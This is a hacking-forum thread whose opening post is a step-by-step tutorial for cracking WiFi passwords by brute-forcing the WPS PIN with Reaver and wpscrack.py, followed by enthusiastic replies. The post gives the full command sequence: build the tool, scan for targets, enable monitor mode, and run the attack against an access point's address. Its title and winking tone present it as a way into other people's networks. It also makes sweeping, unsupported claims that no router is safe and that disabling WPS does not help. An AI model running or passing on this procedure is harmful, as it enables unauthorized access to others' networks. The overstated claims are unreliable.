Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

WIFI HACKING TUTORIAL: HACK ANY WIFI EVEN IF IT IS ENCRYPTED IN MINUTES

Hey guys, this is a tutorial I had on my external drive that I wrote with Alex Long nearly a year ago.

A flaw in WPS, or WiFi Protected Setup, known about for over a year by TNS, was finally exploited with proof of concept code. Both TNS, the discoverers of the exploit and Stefan at .braindump have created their respective "reaver" and "wpscrack" programs to exploit the WPS vulnerability. From this exploit, the WPA password can be recovered almost instantly in plain-text once the attack on the access point WPS is initiated, which normally takes 2-10 hours (depending on which program you use).

This exploit defeats WPS via an intelligent brute force attack to the static WPS PIN. By guessing the PIN, the router will actually throw back, whether or not the first four digits (of eight) are correct. Then, the final number is a checking number used to satisfy an algorithm. This can be exploited to brute force the WPS PIN, and allow recovery of the WPA password in an incredibly short amount of time, as opposed to the standard attack on WPA.

In thisNull Byte, let's go over how to use both tools to crack WPS. As of yet, no router is safe from this attack, and yet none of the vendors have reacted and released firmware with mitigations in place. Even disabling WPS still allows this attack on most routers.

Requirements
Linux OS
A router at home with WPS
The following programs installed (install by package name): aircrack-ng, python-pycryptopp, python-scapy, libpcap-dev
Tools
Reaver (support for all routers)
wpscrack (faster, but only support for major router brands)
Crack WPS
Text in bold is a terminal command.

Follow the guide that corresponds to the tool that you chose to use below.

Reaver
Unzip Reaver.
unzip reaver-1.3.tar.gz
Change to the Reaver directory.
cd reaver-1.3
Configure, compile and install the application.
./configure && make && sudo make install
Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
sudo iwlist scan wlan0
Set your device into monitor mode.
sudo airmon-ng start wlan0
Run the tool against an access point.
reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vv
Wait until it finishes.
This tool makes it too easy.

wpscrack.py
Make the program an executable.
chmod +x wpscrack.py
Scan for an access point to attack, and copy its MAC address for later (XX:XX:XX:XX:XX:XX).
sudo iwlist scan wlan0
Get your MAC address, save it for later.
ip link show wlan0 | awk '/ether/ {print $2}'
Set your device into monitor mode.
sudo airmon-ng start wlan0
Attack your AP.
wpscrack.py –iface mon0 –client <your MAC, because you're attacking yourself, right?> –bssid <AP MAC address> --ssid <name of your AP> -v
Await victory.

Gg lol wp this is amazing good job :-)
just wondering. did you copy and paste this lmao.
I saw this on a different forum.
this is amazing good thkns ..
thank you for this! trying soon!
how can i configure this with android?
grave digging why guys


.
(Feb 21, 2017 01:47 AM)BestService. Wrote:  grave digging why guys


.

Most of them are bots so its kinda expected. Others, are just... loving it? I don't know to be honest. I wish there was grave-digging restriction so people wouldn't able to post in 7 year old thread.....
HF Member Since 2010
I thought that you need Kali Linux or a bruteforce tool
Awesome thread! going to give this a try myself
No need for Kali, you can install all the needed package on a regular Linux, just make sure you don't forget any :)
this looks awesome man Im going to try it soon thanks


Possibly Related Threads...
Thread / Author Replies Views Last Post
by iLoveGamingAug 26, 2026 04:44 PM 6 985 Aug 26, 2026 04:44 PM
Last Post: delta zer0
by GoodiesFeb 4, 2025 01:31 PM 213 26,728 Feb 4, 2025 01:31 PM
Last Post: JackorHide?
by h†mlJul 5, 2023 12:49 PM 3 438 Jul 5, 2023 12:49 PM
Last Post: Roli0810